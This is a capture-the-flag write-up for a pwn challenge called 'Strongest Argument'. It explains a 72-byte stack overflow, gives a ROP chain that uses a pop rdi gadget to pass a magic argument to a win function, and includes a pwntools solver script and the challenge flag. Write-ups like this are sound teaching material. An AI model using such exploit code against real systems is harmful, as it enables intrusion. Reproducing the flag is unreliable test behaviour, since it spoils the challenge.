Strongest Argument

Walkthrough

Solution

The debate function has the same 72-byte offset to its saved return address, but win only succeeds when its first SysV amd64 argument equals 0x1337c0decafebabe. The binary deliberately provides a pop rdi; ret gadget.

The complete chain is padding, pop rdi; ret, the approved value, and win. This sets rdi before transferring control to the flag-printing function.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
p = remote(args.HOST or "localhost", int(args.PORT or 1355))
payload = flat(b"A" * 72, elf.sym.pop_rdi_ret, 0x1337c0decafebabe, elf.sym.win)
p.sendlineafter(b"Your argument: ", payload)
print(p.recvall().decode())

Flag

SecurinetsENIT{0n3_str0ng_4rgum3nt_b34ts_th3_st4ck}